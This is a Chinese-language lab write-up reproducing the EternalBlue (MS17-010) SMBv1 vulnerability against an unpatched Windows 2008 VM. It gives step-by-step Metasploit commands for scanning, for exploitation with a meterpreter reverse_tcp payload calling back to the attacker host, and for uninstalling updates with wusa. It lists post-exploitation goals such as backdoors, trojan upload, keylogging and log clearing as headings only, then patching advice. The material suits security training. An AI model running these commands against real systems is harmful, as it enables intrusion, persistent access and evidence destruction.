永恒之蓝MS17-010实战案例

kali_漏洞复现-1

0x001漏洞简介

永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

0x002漏洞原理

• 远程代码执行漏洞(MS17-010)
• SMB协议是一个通过网络在共享文件、打印设备、命名管道、邮槽之间操作数据的协议。利用该协议,客户端就可以去访问服务器上的共享文件和目录(增删改查)、打印队列和进程间通信服务等,还可以实现客户端和服务器之间的远程过程子协议的认证传输
• Windows的SMB服务处理 SMBv1接收的特殊设计的数据包,发生缓冲区溢出,导致攻击者在目标系统上可以执行任意代码

0x003漏洞影响

#注意前提是没有打上相应的漏洞补丁
#用户版本：Windows10_2016以前版本,Windows7,Windows_8.1,Windows XP
#服务器版本：Windows_Vista版本,Windows_Server_2003版本,Windows_Server_2008版本,Windows_Serve_2012版本WindowsWindows_Server_2016版本
# wusa /uninstall 表示卸载，/kb:XXXXXXX 为要卸载的更新。回车以后，指定的更新即可完美卸载

0x004漏洞复现

环境搭建

• 攻击机kali

• 靶机win2008（未打补丁 （系统补丁 KB号：KB976932 病毒补丁KB号：KB4012212））

目标发现

目标扫描

漏洞探测

1.启动metaspiot框架
msfconsole
2.搜索ms17探测模块
msf6 > search ms17 type:auxiliary	auxiliary/scanner/smb/smb_ms17_010
3.使用该模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
4.查看选项	yes为必选项
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options RHOSTS                            yes       The target host(s)	//目标RPORT        445                  yes       The SMB service port (TCP)	//端口THREADS      1                    yes       The number of concurrent threads	//线程
5.设置目标主机
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.13.141
rhosts => 192.168.13.141
6.设置线程
msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 9
threads => 9
7.开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

漏洞利用

1.搜索模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > search ms17 type:exploitexploit/windows/smb/ms17_010_eternalblue      2017-03-14
2.使用模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
3.设置攻击载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
4.查看选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options RHOSTS                     yes       The target host(s),LHOST     192.168.13.145   yes       The listen addressLPORT     4444             yes       The listen port
5.设置选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.13.141
rhosts => 192.168.13.141
6.运行
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

后渗透测试

获取当前用户

后门创建

开启远程桌面

调用模块

使用meterpreter终端命令

远程桌面

上传后门木马

生成木马

本地监听——等待鱼饵上钩

上传木马

鱼饵上钩

键盘监听

日志清除

0x005漏洞修复

1.根据相应系统类型安装补丁
2.更新系统版本
3.关闭SMB端口，将匿名访问禁用